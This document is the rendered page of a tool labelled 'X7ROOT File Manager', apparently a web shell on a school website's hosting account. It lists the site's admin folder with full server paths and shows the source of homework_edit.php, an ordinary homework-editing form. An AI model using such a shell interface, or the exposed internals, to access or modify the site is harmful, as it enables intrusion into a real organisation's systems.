X7ROOT File Manager
Current Path:
/home/u126090504/domains/sketkaranjia.com/public_html/admin
home
/
u126090504
/
domains
/
sketkaranjia.com
/
public_html
/
admin
/
📁
..
📄
achievers.php
(21.44 KB)
📄
achv_cat_manage.php
(7.99 KB)
📄
achv_edit.php
(9.58 KB)
📄
achv_list.php
(8.08 KB)
📄
achv_upload.php
(13.39 KB)
📄
admin-academic-calendar.php
(20.41 KB)
📄
admin-public-disclosure.php
(18.36 KB)
📄
admissions.php
(28.76 KB)
📄
admissions_error.log
(56 KB)
📁
assets
📄
banners.php
(9.78 KB)
📄
branding_settings.php
(5.93 KB)
📄
change_password.php
(3.01 KB)
📄
class_master.php
(4.32 KB)
📄
contacts.php
(3.83 KB)
📄
dashboard.php
(27.76 KB)
📄
downloads.php
(4.91 KB)
📄
edit_faculty.php
(6.85 KB)
📄
events.php
(920 B)
📄
export_franchise.php
(930 B)
📄
faculty.php
(8.36 KB)
📄
fees_list.php
(8.48 KB)
📄
fees_upload.php
(6.19 KB)
📄
forgot_password.php
(5.76 KB)
📄
franchise.php
(7.28 KB)
📄
gallery.php
(3.08 KB)
📄
grievance-update.php
(1003 B)
📄
grievance-view.php
(8.51 KB)
📄
grievances.php
(9.55 KB)
📄
homework_add.php
(5.98 KB)
📄
homework_edit.php
(9.39 KB)
📄
homework_list.php
(2.24 KB)
📁
img
📁
includes
📄
index.php
(82 B)
📄
login.php
(13.47 KB)
📄
logout.php
(102 B)
📄
manage_albums.php
(10.82 KB)
📄
manage_media.php
(11.77 KB)
📄
manage_photos.php
(6.35 KB)
📄
manage_videos.php
(18.38 KB)
📄
managing-committee.php
(13.64 KB)
📄
master_menu.php
(5.75 KB)
📄
master_menu_debug.php
(3.73 KB)
📄
new_password.php
(3.9 KB)
📄
non_academic_achievers.php
(21.2 KB)
📄
notice.php
(15.52 KB)
📄
notice_error.log
(38.45 KB)
📄
notices.php
(8.24 KB)
📄
payments.php
(14.96 KB)
📁
phpmailer
📄
popup.php
(14.07 KB)
📄
reset_password.php
(2.27 KB)
📄
section_master.php
(6.59 KB)
📄
sections_by_class.php
(346 B)
📄
secure_session.php
(1000 B)
📄
settings.php
(8.34 KB)
📄
student_photo_update.php
(1.8 KB)
📄
subject_master.php
(6.16 KB)
📄
submit-grievance.php
(4.97 KB)
📄
testimonials.php
(15.15 KB)
📄
update_status.php
(1.66 KB)
📄
upi_settings.php
(1.52 KB)
Editing: homework_edit.php
<?php include 'secure_session.php'; include 'includes/auth.php'; require_once '../config.php'; include 'includes/header.php'; date_default_timezone_set('Asia/Kolkata'); $allowedExt = ['pdf','jpg','jpeg','png','gif','doc','docx','ppt','pptx','xls','xlsx','txt']; $maxSize = 5 * 1024 * 1024; // 5 MB $msg = ""; $type = "info"; /* ---------- 1) Validate ID & Fetch ---------- */ $id = isset($_GET['id']) ? (int)$_GET['id'] : 0; if ($id <= 0) { echo '<div class="container mt-4"><div class="alert alert-danger">Invalid homework ID.</div></div>'; include 'includes/footer.php'; exit; } $stmt = $conn->prepare("SELECT * FROM homework WHERE id=? AND status <> 'deleted' LIMIT 1"); $stmt->bind_param("i", $id); $stmt->execute(); $hw = $stmt->get_result()->fetch_assoc(); if (!$hw) { echo '<div class="container mt-4"><div class="alert alert-danger">Homework not found.</div></div>'; include 'includes/footer.php'; exit; } /* ---------- 2) Dropdown data ---------- */ $classes = $conn->query("SELECT id, name FROM classes ORDER BY id ASC"); $subjects = $conn->query("SELECT id, name, class_id FROM subjects ORDER BY class_id, name"); $sections = $conn->query("SELECT id, name, class_id FROM sections ORDER BY class_id, name"); /* ---------- 3) Handle POST (Update) ---------- */ if ($_SERVER['REQUEST_METHOD'] === 'POST') { $class_id = (int)$_POST['class_id']; $section_id = isset($_POST['section_id']) && $_POST['section_id'] !== '' ? (int)$_POST['section_id'] : null; $subject_id = (int)$_POST['subject_id']; $title = trim($_POST['title']); $desc = trim($_POST['description']); $assign_dt = $_POST['assign_date'] ?: date('Y-m-d'); $due_dt = !empty($_POST['due_date']) ? $_POST['due_date'] : null; $teacher = trim($_POST['teacher_name']); // For file $file_path = $hw['file_path']; // default: keep old $remove_existing = isset($_POST['remove_existing']) ? 1 : 0; // remove old file if user asked if ($remove_existing && $file_path) { $onDisk = realpath(__DIR__ . '/../' . $file_path); if ($onDisk && is_file($onDisk)) { @unlink($onDisk); } $file_path = null; } // New upload? if (!empty($_FILES['attachment']['name'])) { $ext = strtolower(pathinfo($_FILES['attachment']['name'], PATHINFO_EXTENSION)); if (!in_array($ext, $allowedExt)) { $msg = "Invalid file type."; $type="danger"; } elseif ($_FILES['attachment']['size'] > $maxSize) { $msg = "File too large (max 5MB)."; $type="danger"; } elseif (is_uploaded_file($_FILES['attachment']['tmp_name'])) { // delete previous file if any if ($hw['file_path'] && !$remove_existing) { $old = realpath(__DIR__ . '/../' . $hw['file_path']); if ($old && is_file($old)) { @unlink($old); } } $dir = __DIR__ . '/../uploads/homework/'; if (!is_dir($dir)) { @mkdir($dir, 0775, true); } $fname = 'hw_' . time() . '_' . bin2hex(random_bytes(4)) . '.' . $ext; $dest = $dir . $fname; if (move_uploaded_file($_FILES['attachment']['tmp_name'], $dest)) { $file_path = 'uploads/homework/' . $fname; } else { $msg = "Upload failed."; $type="danger"; } } } if (!$msg) { $sql = "UPDATE homework SET class_id=?, section_id=?, subject_id=?, title=?, description=?, assign_date=?, due_date=?, file_path=?, teacher_name=?, updated_at=NOW() WHERE id=?"; $stmt = $conn->prepare($sql); // section_id and due_date can be NULL $stmt->bind_param( "iiissssssi", $class_id, $section_id, $subject_id, $title, $desc, $assign_dt, $due_dt, $file_path, $teacher, $id ); if ($stmt->execute()) { $type = "success"; $msg = "✅ Homework updated successfully."; // refresh $hw for re-fill after success $stmt2 = $conn->prepare("SELECT * FROM homework WHERE id=?"); $stmt2->bind_param("i", $id); $stmt2->execute(); $hw = $stmt2->get_result()->fetch_assoc(); } else { $type = "danger"; $msg = "❌ DB Error: " . $conn->error; } } } ?> <div class="container mt-4"> <div class="d-flex justify-content-between align-items-center mb-2"> <h3>Edit Homework</h3> <div> <a href="homework_list.php" class="btn btn-secondary btn-sm">← Back to List</a> </div> </div> <?php if($msg): ?> <div class="alert alert-<?= htmlspecialchars($type) ?>"><?= htmlspecialchars($msg) ?></div> <?php endif; ?> <form method="post" enctype="multipart/form-data"> <div class="row g-3"> <div class="col-md-3"> <label class="form-label">Class</label> <select class="form-select" name="class_id" id="class_id" required> <option value="">Select</option> <?php mysqli_data_seek($classes, 0); while($c=$classes->fetch_assoc()): ?> <option value="<?= $c['id'] ?>" <?= (int)$hw['class_id']==$c['id']?'selected':'' ?>> <?= htmlspecialchars($c['name']) ?> </option> <?php endwhile; ?> </select> </div> <div class="col-md-3"> <label class="form-label">Section (optional)</label> <select class="form-select" name="section_id" id="section_id"> <option value="">All</option> <?php mysqli_data_seek($sections, 0); while($s=$sections->fetch_assoc()): ?> <option data-class="<?= $s['class_id'] ?>" value="<?= $s['id'] ?>" <?= (!empty($hw['section_id']) && (int)$hw['section_id']==$s['id'])?'selected':'' ?>> <?= htmlspecialchars($s['name']) ?> </option> <?php endwhile; ?> </select> </div> <div class="col-md-3"> <label class="form-label">Subject</label> <select class="form-select" name="subject_id" id="subject_id" required> <option value="">Select</option> <?php mysqli_data_seek($subjects, 0); while($s=$subjects->fetch_assoc()): ?> <option data-class="<?= $s['class_id'] ?>" value="<?= $s['id'] ?>" <?= (int)$hw['subject_id']==$s['id']?'selected':'' ?>> <?= htmlspecialchars($s['name']) ?> </option> <?php endwhile; ?> </select> </div> <div class="col-md-3"> <label class="form-label">Assign Date</label> <input type="date" class="form-control" name="assign_date" value="<?= htmlspecialchars($hw['assign_date']) ?>" required> </div> <div class="col-md-6"> <label class="form-label">Title</label> <input type="text" class="form-control" name="title" maxlength="120" value="<?= htmlspecialchars($hw['title']) ?>" required> </div> <div class="col-md-6"> <label class="form-label">Due Date (optional)</label> <input type="date" class="form-control" name="due_date" value="<?= htmlspecialchars($hw['due_date'] ?? '') ?>"> </div> <div class="col-12"> <label class="form-label">Description</label> <textarea class="form-control" name="description" rows="4" required><?= htmlspecialchars($hw['description']) ?></textarea> </div> <div class="col-md-6"> <label class="form-label">Attachment (optional)</label> <input type="file" class="form-control" name="attachment" accept=".pdf,.jpg,.jpeg,.png,.gif,.doc,.docx,.ppt,.pptx,.xls,.xlsx,.txt"> <?php if($hw['file_path']): ?> <div class="form-text mt-1"> Current: <a href="../<?= htmlspecialchars($hw['file_path']) ?>" target="_blank">View file</a> </div> <div class="form-check mt-1"> <input class="form-check-input" type="checkbox" value="1" id="remove_existing" name="remove_existing"> <label class="form-check-label" for="remove_existing">Remove existing file</label> </div> <?php endif; ?> </div> <div class="col-md-6"> <label class="form-label">Teacher Name (optional)</label> <input type="text" class="form-control" name="teacher_name" value="<?= htmlspecialchars($hw['teacher_name'] ?? '') ?>"> </div> <div class="col-12"> <button class="btn btn-primary">Update</button> <a class="btn btn-outline-secondary" href="homework_list.php">Cancel</a> </div> </div> </form> </div> <script> // Filter sections & subjects by selected class (client-side) (function(){ const cid = document.getElementById('class_id'); const section = document.getElementById('section_id'); const subject = document.getElementById('subject_id'); function filter(el){ const v = cid.value; [...el.options].forEach(o=>{ if(!o.dataset.class) return; // keep placeholder o.hidden = (o.dataset.class !== v); }); // if current selected option hidden -> reset if (el.selectedOptions.length && el.selectedOptions[0].hidden) el.value = ''; } cid.addEventListener('change', function(){ filter(section); filter(subject); }); // run once on page load to hide irrelevant options according to current class filter(section); filter(subject); })(); </script> <?php include 'includes/footer.php'; ?>
Upload File
Create Folder